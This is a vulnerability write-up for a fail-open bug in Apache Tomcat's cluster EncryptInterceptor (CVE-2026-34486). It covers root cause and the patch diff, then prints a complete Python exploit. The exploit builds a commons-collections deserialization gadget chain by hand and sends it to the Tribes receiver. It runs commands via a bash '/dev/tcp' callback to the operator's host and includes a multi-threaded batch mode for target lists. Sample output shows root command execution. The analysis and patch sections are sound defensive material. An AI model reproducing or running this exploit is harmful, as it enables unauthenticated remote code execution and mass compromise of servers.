#Summary

CVE-2026-34486 is an unauthenticated remote code execution vulnerability in Apache Tomcat 9.0.116, 10.1.53, and 11.0.20. A single misplaced statement in EncryptInterceptor.messageReceived() causes the interceptor to forward messages that fail decryption instead of dropping them. This allows an unauthenticated attacker to inject plaintext Java serialized objects into the Tribes cluster channel, bypassing the encryption gate and reaching an unfiltered ObjectInputStream. With a deserialization gadget library on the server classpath (commons-collections 3.2.1 is common), this leads to network-observable remote code execution. CVSS 7.5 HIGH. The vulnerability was added to the CISA KEV catalog with reports of in-the-wild exploitation.

#Affected versions

The vulnerability exists only when clustering is enabled (off by default) and an EncryptInterceptor is configured in the Tribes channel. The Tribes receiver listens on port 4000 by default and accepts connections without authentication.

#Root cause analysis

#Vulnerable code path

The bug is a single statement outside a try block in EncryptInterceptor.messageReceived() at versions 9.0.116, 10.1.53, and 11.0.20:

@Override
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] data = msg.getMessage().getBytes();
        data = encryptionManager.decrypt(data);
        XByteBuffer xbb = msg.getMessage();
        xbb.clear();
        xbb.append(data, 0, data.length);
    } catch (GeneralSecurityException gse) {
        log.error(sm.getString("encryptInterceptor.decrypt.failed"), gse);
    }
    super.messageReceived(msg);  // <- called even when decrypt() threw
}

When decrypt() throws a GeneralSecurityException, the catch block logs the error and returns. Crucially, the call to super.messageReceived(msg) sits outside the try block, so it executes unconditionally. The message buffer was never cleared and re-populated with decrypted data (those lines in the try block never ran), so it still holds the attacker's original plaintext bytes. The message continues up the interceptor chain in its raw, unauthenticated form.

#How input reaches the sink

The Tribes receiver (NioReceiver, default port 4000) accepts TCP connections and parses incoming frames. A message is structured as an outer FLT2002/TLF2003 frame containing a ChannelData package with a member blob and a payload. The member blob is validated by MemberImpl.getMember() before the interceptor chain, but nothing in it is checked against a real cluster member.

The message passes through the interceptor chain: ChannelCoordinator -> TcpFailureDetector (forwards if not a probe) -> EncryptInterceptor (decryption fails, logs, forwards anyway) -> GroupChannel.messageReceived().

In GroupChannel, the message is deserialized:

Serializable fwd;
if ((msg.getOptions() & SEND_OPTIONS_BYTE_MESSAGE) == SEND_OPTIONS_BYTE_MESSAGE) {
    fwd = new ByteMessage(msg.getMessage().getBytes());
} else {
    try {
        fwd = XByteBuffer.deserialize(msg.getMessage().getBytesDirect(), 0, msg.getMessage().getLength());
    } catch (Exception e) {
        log.error(sm.getString("groupChannel.unable.deserialize", msg), e);
        return;
    }
}

The XByteBuffer.deserialize method uses an unfiltered ObjectInputStream with no class filter or allow-list:

InputStream instream = new ByteArrayInputStream(data, offset, length);
ObjectInputStream stream;
stream = (cls.length > 0) ? new ReplicationStream(instream, cls) : new ObjectInputStream(instream);
message = stream.readObject();

The design assumed that EncryptInterceptor had already authenticated the message, so there was no need for a class filter. With the fail-open bug, an attacker-controlled serialized object reaches readObject() unchecked. If a gadget library like commons-collections 3.2.1 is on the server classpath (in $CATALINA_HOME/lib, shared across all web applications), a chain like HashSet -> TiedMapEntry -> LazyMap -> ChainedTransformer -> InvokerTransformer -> Runtime.exec() fires during deserialization itself, before any exception handler has a chance to run.

#Patch diff

The fix is a one-line move, committed as part of the per-version fixes (1fab40cc on 11.0, 55f3eb91 on 10.1, 776e12b3 on 9.0):

@@ -140,10 +140,10 @@ public void messageReceived(ChannelMessage msg) {
         xbb.clear();
         xbb.append(data, 0, data.length);
 
+        super.messageReceived(msg);
     } catch (GeneralSecurityException gse) {
         log.error(sm.getString("encryptInterceptor.decrypt.failed"), gse);
     }
-    super.messageReceived(msg);
 }

#What the fix does

By moving super.messageReceived(msg) inside the try block, a decryption failure causes the catch block to handle the exception and return early. The message is never forwarded to the next interceptor. Only messages that decrypt successfully - and therefore were produced by a cluster peer holding the pre-shared key - are handed upstream, and they are handed in their decrypted form.

The regression was introduced by the CVE-2026-29146 fix (a padding oracle in CBC mode), which reworked the same method and moved the forwarding call outside the try. That fix was correct for CVE-2026-29146, but opened this new fail-open path. The window lasted exactly one release per branch: 9.0.116, 10.1.53, and 11.0.20.

#Proof of concept

#exploit.py - Tomcat Tribes Unauthenticated RCE

#!/usr/bin/env python3
"""
CVE-2026-34486 - Apache Tomcat EncryptInterceptor fail-open -> unauthenticated RCE
Affected: Apache Tomcat 9.0.116, 10.1.53, 11.0.20 (fixed in 9.0.117 / 10.1.54 / 11.0.21)
Type: RCE (encryption bypass -> unauthenticated Java deserialization)

EncryptInterceptor.messageReceived() calls super.messageReceived(msg) outside the
try block that wraps decrypt(). A message whose decryption throws is logged and then
forwarded up the interceptor chain anyway, still carrying the attacker's original
plaintext bytes, and GroupChannel hands it to an unfiltered ObjectInputStream.

Any TCP client that can reach the Tribes receiver (NioReceiver, default 4000) can
therefore deserialize arbitrary objects without credentials, cluster membership or
knowledge of the pre-shared key. With a gadget library on the server class path
(commons-collections 3.2.1 in the server lib directory is the common case) that is
command execution as the Tomcat user.

Execution is proven over the network: the injected command runs under a shell that
opens a TCP connection back to this host and writes its output into it, so the
evidence is the output arriving on our own listener, not a file left on the target.

Usage:
  python exploit.py --host <target>
  python exploit.py --host 192.168.1.10 --port 4000 --command "id"
  python exploit.py --host 192.168.1.10 --callback-host 192.168.1.5 --callback-port 9001
  python exploit.py --host tribes://10.0.0.7:4000 --command "uname -a; id"
  python exploit.py --list targets.txt --workers 20 --callback-host 192.168.1.5

The target must be able to open a TCP connection back to --callback-host:--callback-port.
When --callback-host is omitted it is auto-detected from the route to the target, which
is correct for a flat network and wrong behind NAT; set it explicitly there.
"""

import argparse
import secrets
import socket
import ssl
import struct
import sys
import threading
import time
from urllib.parse import urlparse

CVE_ID = "CVE-2026-34486"
VULN_TYPE = "RCE"

DEFAULT_PORT = 4000


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# ---------------------------------------------------------------------------
# Java serialization writer
#
# Enough of the protocol to emit one object graph by hand. Back-references
# (TC_REFERENCE) are never emitted: every class descriptor and string is
# written out in full. That is valid stream syntax, it just costs bytes, and
# it removes any chance of an off-by-one in the handle table.
# ---------------------------------------------------------------------------

STREAM_MAGIC = b"\xac\xed"
STREAM_VERSION = b"\x00\x05"

TC_NULL = b"\x70"
TC_CLASSDESC = b"\x72"
TC_OBJECT = b"\x73"
TC_STRING = b"\x74"
TC_ARRAY = b"\x75"
TC_CLASS = b"\x76"
TC_BLOCKDATA = b"\x77"
TC_ENDBLOCKDATA = b"\x78"

SC_WRITE_METHOD = 0x01
SC_SERIALIZABLE = 0x02

# serialVersionUIDs of every class the chain names. A mismatch is rejected by
# ObjectStreamClass.initNonProxy with InvalidClassException, so these are exact
# (array classes are exempt from that check, but are given their real value anyway).
SUID = {
    "java.util.HashSet": 0xBA44859596B8B734,
    "java.util.HashMap": 0x0507DAC1C31660D1,
    "java.lang.String": 0xA0F0A4387A3BB342,
    "org.apache.commons.collections.keyvalue.TiedMapEntry": 0x8AADD29B39C11FDB,
    "org.apache.commons.collections.map.LazyMap": 0x6EE594829E791094,
    "org.apache.commons.collections.functors.ChainedTransformer": 0x30C797EC287A9704,
    "org.apache.commons.collections.functors.ConstantTransformer": 0x587690114102B194,
    "org.apache.commons.collections.functors.InvokerTransformer": 0x87E8FF6B7B7CCE38,
    "[Lorg.apache.commons.collections.Transformer;": 0xBD562AF1D8341899,
    "[Ljava.lang.Object;": 0x90CE589F1073296C,
    "[Ljava.lang.Class;": 0xAB16D7AECBCD5A99,
    "[Ljava.lang.String;": 0xADD256E7E91D7B47,
}

# Class names (dotted) name a class in a descriptor; field signatures (slashed)
# describe a field's type. The two spellings are not interchangeable.
TRANSFORMER_ARRAY = "[Lorg.apache.commons.collections.Transformer;"
OBJECT_ARRAY = "[Ljava.lang.Object;"
CLASS_ARRAY = "[Ljava.lang.Class;"
STRING_ARRAY = "[Ljava.lang.String;"

SIG_TRANSFORMER = "Lorg/apache/commons/collections/Transformer;"
SIG_TRANSFORMER_ARRAY = "[Lorg/apache/commons/collections/Transformer;"
SIG_OBJECT_ARRAY = "[Ljava/lang/Object;"
SIG_CLASS_ARRAY = "[Ljava/lang/Class;"


def _utf(text: str) -> bytes:
    raw = text.encode("utf-8")
    return struct.pack(">H", len(raw)) + raw


def jstring(text: str) -> bytes:
    return TC_STRING + _utf(text)


def class_desc(name: str, flags: int, fields=()) -> bytes:
    """A serializable class descriptor. Superclass is always TC_NULL: every class
    used here inherits straight from Object or from a non-serializable parent."""
    out = TC_CLASSDESC + _utf(name)
    out += struct.pack(">Q", SUID[name] & 0xFFFFFFFFFFFFFFFF)
    out += bytes([flags])
    out += struct.pack(">H", len(fields))
    for code, fname, signature in fields:
        out += code.encode("ascii") + _utf(fname)
        if signature is not None:
            out += jstring(signature)
    out += TC_ENDBLOCKDATA  # empty class annotation
    out += TC_NULL          # no serializable superclass
    return out


def opaque_class_desc(name: str) -> bytes:
    """Descriptor for a class that is not Serializable (java.lang.Runtime,
    java.lang.Object). suid 0, no flags, no fields - only ever used as the
    operand of TC_CLASS, never to instantiate anything."""
    return (TC_CLASSDESC + _utf(name) + b"\x00" * 8 + b"\x00" + b"\x00\x00"
            + TC_ENDBLOCKDATA + TC_NULL)


def class_object(desc: bytes) -> bytes:
    return TC_CLASS + desc


def array_desc(name: str) -> bytes:
    return class_desc(name, SC_SERIALIZABLE)


def object_array(array_class: str, elements) -> bytes:
    return (TC_ARRAY + array_desc(array_class)
            + struct.pack(">i", len(elements)) + b"".join(elements))


def block_data(payload: bytes) -> bytes:
    """Short block data. Every block written here is well under 256 bytes."""
    return TC_BLOCKDATA + bytes([len(payload)]) + payload


# ---------------------------------------------------------------------------
# The gadget graph
#
# HashSet.readObject -> map.put(entry, PRESENT) -> entry.hashCode()
#   -> TiedMapEntry.getValue() -> LazyMap.get(key)
#   -> ChainedTransformer.transform (the inner map is empty, so the factory fires)
#   -> ConstantTransformer(Runtime.class)
#   -> InvokerTransformer getMethod / invoke / exec
#
# The chain runs inside readObject() itself, during the rehash, so nothing
# downstream of GroupChannel has to cooperate.
# ---------------------------------------------------------------------------

def _constant_transformer_runtime() -> bytes:
    desc = class_desc(
        "org.apache.commons.collections.functors.ConstantTransformer",
        SC_SERIALIZABLE,
        (("L", "iConstant", "Ljava/lang/Object;"),),
    )
    return TC_OBJECT + desc + class_object(opaque_class_desc("java.lang.Runtime"))


def _invoker_transformer(method: str, param_types, args) -> bytes:
    """InvokerTransformer. Serialized field order is the JVM's: iArgs, iMethodName,
    iParamTypes (object fields sorted by name)."""
    desc = class_desc(
        "org.apache.commons.collections.functors.InvokerTransformer",
        SC_SERIALIZABLE,
        (("[", "iArgs", SIG_OBJECT_ARRAY),
         ("L", "iMethodName", "Ljava/lang/String;"),
         ("[", "iParamTypes", SIG_CLASS_ARRAY)),
    )
    body = (object_array(OBJECT_ARRAY, args)
            + jstring(method)
            + object_array(CLASS_ARRAY, param_types))
    return TC_OBJECT + desc + body


def _chained_transformer(argv) -> bytes:
    """Runtime.getRuntime().exec(argv) expressed as four transformers.

    exec(String[]) is used rather than exec(String) so the command reaches the
    target as an argument vector and no shell quoting happens on the way in.
    """
    string_class = class_object(class_desc("java.lang.String", SC_SERIALIZABLE))
    object_class = class_object(opaque_class_desc("java.lang.Object"))

    transformers = [
        _constant_transformer_runtime(),
        # Runtime.class.getMethod("getRuntime", new Class[0])
        _invoker_transformer(
            "getMethod",
            [string_class, class_object(array_desc(CLASS_ARRAY))],
            [jstring("getRuntime"), object_array(CLASS_ARRAY, [])],
        ),
        # thatMethod.invoke(null, new Object[0])  ->  the Runtime instance
        _invoker_transformer(
            "invoke",
            [object_class, class_object(array_desc(OBJECT_ARRAY))],
            [TC_NULL, object_array(OBJECT_ARRAY, [])],
        ),
        # runtime.exec(String[]{...})
        _invoker_transformer(
            "exec",
            [class_object(array_desc(STRING_ARRAY))],
            [object_array(STRING_ARRAY, [jstring(a) for a in argv])],
        ),
    ]

    desc = class_desc(
        "org.apache.commons.collections.functors.ChainedTransformer",
        SC_SERIALIZABLE,
        (("[", "iTransformers", SIG_TRANSFORMER_ARRAY),),
    )
    return TC_OBJECT + desc + object_array(TRANSFORMER_ARRAY, transformers)


def _empty_hashmap() -> bytes:
    """An empty HashMap. LazyMap.get() only calls the factory when the decorated
    map does not already contain the key, so it has to start empty."""
    desc = class_desc(
        "java.util.HashMap",
        SC_SERIALIZABLE | SC_WRITE_METHOD,
        (("F", "loadFactor", None), ("I", "threshold", None)),
    )
    fields = struct.pack(">f", 0.75) + struct.pack(">i", 12)
    # writeObject appends: bucket count, then entry count, then the entries
    tail = block_data(struct.pack(">i", 16) + struct.pack(">i", 0))
    return TC_OBJECT + desc + fields + tail + TC_ENDBLOCKDATA


def _lazy_map(factory: bytes) -> bytes:
    """LazyMap. The decorated map lives in a non-serializable superclass, so
    LazyMap.writeObject appends it after the declared fields."""
    desc = class_desc(
        "org.apache.commons.collections.map.LazyMap",
        SC_SERIALIZABLE | SC_WRITE_METHOD,
        (("L", "factory", SIG_TRANSFORMER),),
    )
    return TC_OBJECT + desc + factory + _empty_hashmap() + TC_ENDBLOCKDATA


def _tied_map_entry(lazy_map: bytes, key: str) -> bytes:
    desc = class_desc(
        "org.apache.commons.collections.keyvalue.TiedMapEntry",
        SC_SERIALIZABLE,
        (("L", "key", "Ljava/lang/Object;"), ("L", "map", "Ljava/util/Map;")),
    )
    return TC_OBJECT + desc + jstring(key) + lazy_map


def build_gadget(argv, key: str) -> bytes:
    """Full serialized HashSet whose single element detonates on readObject()."""
    entry = _tied_map_entry(_lazy_map(_chained_transformer(argv)), key)
    desc = class_desc("java.util.HashSet", SC_SERIALIZABLE | SC_WRITE_METHOD)
    # HashSet.writeObject: capacity, load factor, size, then each element
    tail = block_data(struct.pack(">i", 16) + struct.pack(">f", 0.75)
                      + struct.pack(">i", 1))
    return (STREAM_MAGIC + STREAM_VERSION + TC_OBJECT + desc + tail
            + entry + TC_ENDBLOCKDATA)


# ---------------------------------------------------------------------------
# Tribes wire format
# ---------------------------------------------------------------------------

START_DATA = b"FLT2002"
END_DATA = b"TLF2003"
MBR_BEGIN = b"TRIBES-B\x01\x00"
MBR_END = b"TRIBES-E\x01\x00"

IV_SIZE_CBC = 16


def tune_length(payload: bytes, iv_size: int = IV_SIZE_CBC) -> bytes:
    """Guarantee the decryption failure that the fail-open path depends on.

    Shorter than the IV size and generateIV() raises IllegalArgumentException,
    which is not a GeneralSecurityException, so it escapes the interceptor's
    catch and the message is dropped instead of forwarded. Block-aligned and
    the PKCS#5 padding can validate by chance (about 1 in 256), which silently
    replaces the body with garbage. A non-aligned length makes doFinal() raise
    IllegalBlockSizeException every time.

    One tuned length covers both cipher configurations, so the exploit does not
    need to know which is in use: a target on AES/GCM/NoPadding rejects any
    attacker data on the authentication tag (AEADBadTagException) regardless of
    length, and the 16-byte CBC minimum already exceeds the 12-byte GCM IV.

    The filler is harmless: readObject() stops at the end of the object graph
    and never looks at the trailing bytes.
    """
    while len(payload) < iv_size or (len(payload) - iv_size) % 16 == 0:
        payload += b"\x00"
    return payload


def member_blob(port: int = DEFAULT_PORT, host: bytes = b"\x7f\x00\x00\x01") -> bytes:
    """A structurally valid member record. MemberImpl.getMember() parses this
    before EncryptInterceptor is reached and discards the whole message if it
    does not parse, so it has to be well formed - but nothing in it is checked
    against a real cluster member."""
    body = (
        struct.pack(">q", 1000)                      # milliseconds alive
        + struct.pack(">i", port)                    # port
        + struct.pack(">i", -1)                      # secure port
        + struct.pack(">i", -1)                      # udp port
        + struct.pack(">B", len(host)) + host        # host
        + struct.pack(">i", 0)                       # command, empty
        + struct.pack(">i", 0)                       # domain, empty
        + secrets.token_bytes(16)                    # uniqueId
        + struct.pack(">i", 0)                       # payload, empty
    )
    return MBR_BEGIN + struct.pack(">i", len(body)) + body + MBR_END


def channel_data(message: bytes) -> bytes:
    """ChannelData package. options must keep bit 0x0001 clear, otherwise
    GroupChannel wraps the body in a ByteMessage instead of deserializing it."""
    uid = secrets.token_bytes(16)
    addr = member_blob()
    return (
        struct.pack(">i", 0)
        + struct.pack(">q", int(time.time() * 1000))
        + struct.pack(">i", len(uid)) + uid
        + struct.pack(">i", len(addr)) + addr
        + struct.pack(">i", len(message)) + message
    )


def frame(package: bytes) -> bytes:
    return START_DATA + struct.pack(">i", len(package)) + package + END_DATA


def build_frame(argv, key: str) -> bytes:
    return frame(channel_data(tune_length(build_gadget(argv, key))))


def send_frame(host: str, port: int, use_tls: bool, payload: bytes,
               timeout: float = 10.0) -> None:
    sock = socket.create_connection((host, port), timeout=timeout)
    try:
        if use_tls:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            sock = ctx.wrap_socket(sock, server_hostname=host)
        sock.sendall(payload)
        # Nothing is written back on this socket with options=0. The socket is
        # held open briefly so the receiver finishes parsing before the RST.
        time.sleep(0.5)
    finally:
        try:
            sock.close()
        except OSError:
            pass


# ---------------------------------------------------------------------------
# Callback channel
#
# Deserialization is a sink with no reply path, so the executed command is what
# reports back: it opens a TCP connection to us and writes its own output.
# ---------------------------------------------------------------------------

class CallbackListener:
    """Collects connect-backs. One listener serves any number of targets;
    each target's payload carries its own marker, which is how a connection
    is attributed to the host that produced it."""

    def __init__(self, bind_host: str = "0.0.0.0", bind_port: int = 0):
        self._server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self._server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self._server.bind((bind_host, bind_port))
        self._server.listen(32)
        self.port = self._server.getsockname()[1]
        self._lock = threading.Lock()
        self._hits = []
        self._running = True

    def start(self) -> None:
        threading.Thread(target=self._accept_loop, daemon=True).start()

    def _accept_loop(self) -> None:
        self._server.settimeout(0.5)
        while self._running:
            try:
                conn, peer = self._server.accept()
            except socket.timeout:
                continue
            except OSError:
                return
            threading.Thread(target=self._read, args=(conn, peer),
                             daemon=True).start()

    def _read(self, conn: socket.socket, peer) -> None:
        buf = b""
        conn.settimeout(8.0)
        try:
            while True:
                chunk = conn.recv(4096)
                if not chunk:
                    break
                buf += chunk
        except (socket.timeout, OSError):
            pass
        finally:
            try:
                conn.close()
            except OSError:
                pass
        if buf:
            with self._lock:
                self._hits.append((peer[0], buf))

    def wait_for(self, marker: str, timeout: float):
        """Block until a connect-back carrying this marker arrives.
        Returns the command output with the marker line stripped, or None."""
        needle = marker.encode("ascii")
        deadline = time.time() + timeout
        while time.time() < deadline:
            with self._lock:
                for peer, buf in self._hits:
                    if needle in buf:
                        text = buf.decode("utf-8", "replace")
                        body = text.split(marker, 1)[1].lstrip("\r\n")
                        return peer, body
            time.sleep(0.2)
        return None

    def close(self) -> None:
        self._running = False
        try:
            self._server.close()
        except OSError:
            pass


def callback_argv(shell: str, cb_host: str, cb_port: int, marker: str,
                  command: str):
    """Argument vector handed to Runtime.exec on the target.

    The shell opens a bidirectional connection on fd 3, announces the marker so
    the connection can be attributed, then runs the operator's command with both
    stdout and stderr redirected into it.
    """
    script = (
        "exec 3<>/dev/tcp/{h}/{p}; "
        "printf '%s\\n' {m} >&3; "
        "{{ {cmd} ; }} >&3 2>&1; "
        "exec 3>&-"
    ).format(h=cb_host, p=cb_port, m=marker, cmd=command)
    return [shell, "-c", script]


def local_address_towards(host: str) -> str:
    """Source address the OS would use to reach the target. Correct on a flat
    network, wrong behind NAT or a port-forward, where --callback-host is
    the answer."""
    probe = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        probe.connect((host, 9))
        return probe.getsockname()[0]
    except OSError:
        return "127.0.0.1"
    finally:
        probe.close()


# ---------------------------------------------------------------------------
# Exploit
# ---------------------------------------------------------------------------

def _try_exploit(host: str, port: int, use_tls: bool, command: str = "id",
                 shell: str = "/bin/bash", listener: CallbackListener = None,
                 cb_host: str = None, wait: float = 12.0):
    """Silent probe for --list scan mode. Returns (success, evidence).
    Never prints, never exits."""
    marker = secrets.token_hex(8)
    try:
        argv = callback_argv(shell, cb_host, listener.port, marker, command)
        send_frame(host, port, use_tls, build_frame(argv, marker))
    except Exception as exc:
        return False, f"unreachable ({exc.__class__.__name__})"

    hit = listener.wait_for(marker, wait)
    if hit is None:
        return False, "no callback - patched, no gadget on the class path, or egress blocked"
    peer, body = hit
    first = next((ln for ln in body.splitlines() if ln.strip()), "")
    return True, f"code execution as {first.strip()[:80]} (callback from {peer})"


def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if line.startswith("tribes://"):
        p = urlparse(line)
        return p.hostname, p.port or default_port, False, default_path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10,
         command: str = "id", shell: str = "/bin/bash", cb_host: str = None,
         cb_port: int = 0, wait: float = 12.0) -> None:
    """Batch scan. One shared listener; each target's payload carries its own
    marker, so a connect-back identifies the host that ran the command."""
    import concurrent.futures

    with open(targets_file) as fh:
        targets = [_parse_target(line, default_port) for line in fh]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    if not targets:
        print("  no targets in file\n")
        sys.exit(1)

    listener = CallbackListener(bind_port=cb_port)
    listener.start()
    resolved_cb = cb_host or local_address_towards(targets[0][0])
    print(f"  callback channel: {resolved_cb}:{listener.port}\n")

    success_count = 0

    def probe(target):
        host, port, use_tls, _ = target
        label = f"{host}:{port}"
        ok, evidence = _try_exploit(host, port, use_tls, command=command,
                                    shell=shell, listener=listener,
                                    cb_host=resolved_cb, wait=wait)
        return label, ok, evidence

    try:
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                verdict = "Exploited" if ok else "Not vulnerable"
                print(f"  {'[+]' if ok else '[-]'} {label} - {verdict}: {evidence}")
                if ok:
                    success_count += 1
    finally:
        listener.close()

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / "
          f"{total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


def exploit(host: str, port: int, use_tls: bool, command: str, shell: str,
            cb_host: str, cb_port: int, wait: float) -> None:
    header(host, port)

    marker = secrets.token_hex(8)
    resolved_cb = cb_host or local_address_towards(host)

    step(1, "Opening the callback channel")
    listener = CallbackListener(bind_port=cb_port)
    listener.start()
    print(f"         listening on {resolved_cb}:{listener.port} "
          f"(target must be able to reach this)")

    step(2, "Building the deserialization payload")
    argv = callback_argv(shell, resolved_cb, listener.port, marker, command)
    gadget = build_gadget(argv, marker)
    body = tune_length(gadget)
    print(f"         gadget chain {len(gadget)} bytes, "
          f"padded to {len(body)} so (len - IV) % 16 = "
          f"{(len(body) - IV_SIZE_CBC) % 16} (decryption must fail)")
    print(f"         command: {command}")

    step(3, "Framing it as a Tribes cluster message")
    package = frame(channel_data(body))
    print(f"         FLT2002 frame, {len(package)} bytes, options=0 "
          f"(GroupChannel takes the deserialize branch)")

    step(4, f"Sending to the Tribes receiver at {host}:{port}")
    try:
        send_frame(host, port, use_tls, package)
    except OSError as exc:
        listener.close()
        section("CONNECTION ERROR", str(exc))
        done(False, f"could not reach the Tribes receiver at {host}:{port} ({exc})")
    print("         frame sent, no reply expected on this socket")

    step(5, f"Waiting up to {int(wait)}s for the target to call back")
    hit = listener.wait_for(marker, wait)
    listener.close()

    if hit is None:
        section("CALLBACK CHANNEL", "no connection received")
        done(False, "no code execution - target patched, no gadget library on "
                    "the server class path, or the callback was blocked "
                    "(check --callback-host reachability from the target)")

    peer, output = hit
    section("COMMAND OUTPUT", output)
    first = next((ln for ln in output.splitlines() if ln.strip()), "")
    done(True, f"RCE confirmed - command '{command}' executed unauthenticated, "
               f"callback from {peer}: {first.strip()[:120]}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP or URL of the Tribes receiver")
    target_grp.add_argument("--list", metavar="FILE",
                            help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT,
                        help=f"Tribes receiver port (default: {DEFAULT_PORT})")
    parser.add_argument("--command", default="id",
                        help="Command to execute on the target (default: id)")
    parser.add_argument("--shell", default="/bin/bash",
                        help="Shell used on the target for the connect-back "
                             "(default: /bin/bash, needs /dev/tcp support)")
    parser.add_argument("--callback-host", default=None,
                        help="Address the target connects back to "
                             "(default: auto-detected from the route to the target)")
    parser.add_argument("--callback-port", type=int, default=0,
                        help="Local port for the callback (default: 0, an ephemeral port)")
    parser.add_argument("--wait", type=float, default=12.0,
                        help="Seconds to wait for the callback (default: 12)")
    parser.add_argument("--workers", type=int, default=10,
                        help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             command=args.command, shell=args.shell, cb_host=args.callback_host,
             cb_port=args.callback_port, wait=args.wait)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, args.command, args.shell,
                args.callback_host, args.callback_port, args.wait)

#Usage

Single target on a local network or against a known address:

python exploit.py --host 127.0.0.1 --port 4000 --command "id; uname -a"

Behind NAT or a port-forward, where auto-detection of the callback address would be wrong:

python exploit.py --host 192.168.1.10 --callback-host 203.0.113.9 --callback-port 9001

Batch scan of an asset list with a shared callback listener:

python exploit.py --list targets.txt --workers 20 --callback-host 192.168.1.5

Exit status is 0 on successful exploitation (or at least one success in batch mode), 1 otherwise.

#Expected output - vulnerable target

Tomcat 10.1.53 with EncryptInterceptor and commons-collections 3.2.1 on the classpath:

============================================================
  ALIM EXPLOIT  CVE-2026-34486
  Type: RCE  |  Target: 127.0.0.1:4000
============================================================

[STEP 1] Opening the callback channel
         listening on 127.0.0.1:9411 (target must be able to reach this)
[STEP 2] Building the deserialization payload
         gadget chain 1969 bytes, padded to 1969 so (len - IV) % 16 = 1 (decryption must fail)
         command: id; uname -a
[STEP 3] Framing it as a Tribes cluster message
         FLT2002 frame, 2104 bytes, options=0 (GroupChannel takes the deserialize branch)
[STEP 4] Sending to the Tribes receiver at 127.0.0.1:4000
         frame sent, no reply expected on this socket
[STEP 5] Waiting up to 12s for the target to call back

--- COMMAND OUTPUT ---
uid=0(root) gid=0(root) groups=0(root)
Linux <container> 6.12.69-linuxkit #1 SMP Mon Feb 16 11:19:06 UTC 2026 aarch64 aarch64 aarch64 GNU/Linux
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: RCE confirmed - command 'id; uname -a' executed unauthenticated, callback from 127.0.0.1: uid=0(root) gid=0(root) groups=0(root)
============================================================

#Expected output - patched target

Tomcat 10.1.54 with the same configuration and gadget library:

[STEP 5] Waiting up to 12s for the target to call back

--- CALLBACK CHANNEL ---
no connection received
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: no code execution - target patched, no gadget library on the server class path, or the callback was blocked (check --callback-host reachability from the target)
============================================================

No callback is received because the forwarding call was moved inside the try block, so decryption failure now causes an early return.

#Exploitation notes

#Preconditions

#Reliability

The exploit is deterministic once the payload length is tuned correctly. The payload must be at least 16 bytes (the default IV size for AES/CBC) and the length must satisfy (len - 16) % 16 != 0 so that doFinal() raises IllegalBlockSizeException rather than allowing a 1-in-256 chance that PKCS#5 padding validates by accident. The payload is padded with null bytes, which ObjectInputStream ignores after the object graph ends, so the tuning is safe. The exploit works on both the default AES/CBC/PKCS5Padding and the vendor-recommended AES/GCM/NoPadding.

#Impact

The executed command runs as the Tomcat user. In the official images this is root, but in production deployments it is typically a low-privilege service account. The command has full access to the Tomcat process, its loaded libraries, any application deployed on it, and the filesystem of the container or host.

#Chaining potential

This is the top of a short ladder. There is no memory corruption, no ASLR bypass, and no information leak requirement. Deserialization is the sink, and a gadget chain is the only rung needed to go from unauthenticated message injection to code execution. An attacker who cannot place a gadget library on the server classpath can still prove the vulnerability (by sending a serialized object of a class that is deliberately not on the classpath, which causes ClassNotFoundException to be logged by the vulnerable server but not the patched one), but exploitation stops there.

#References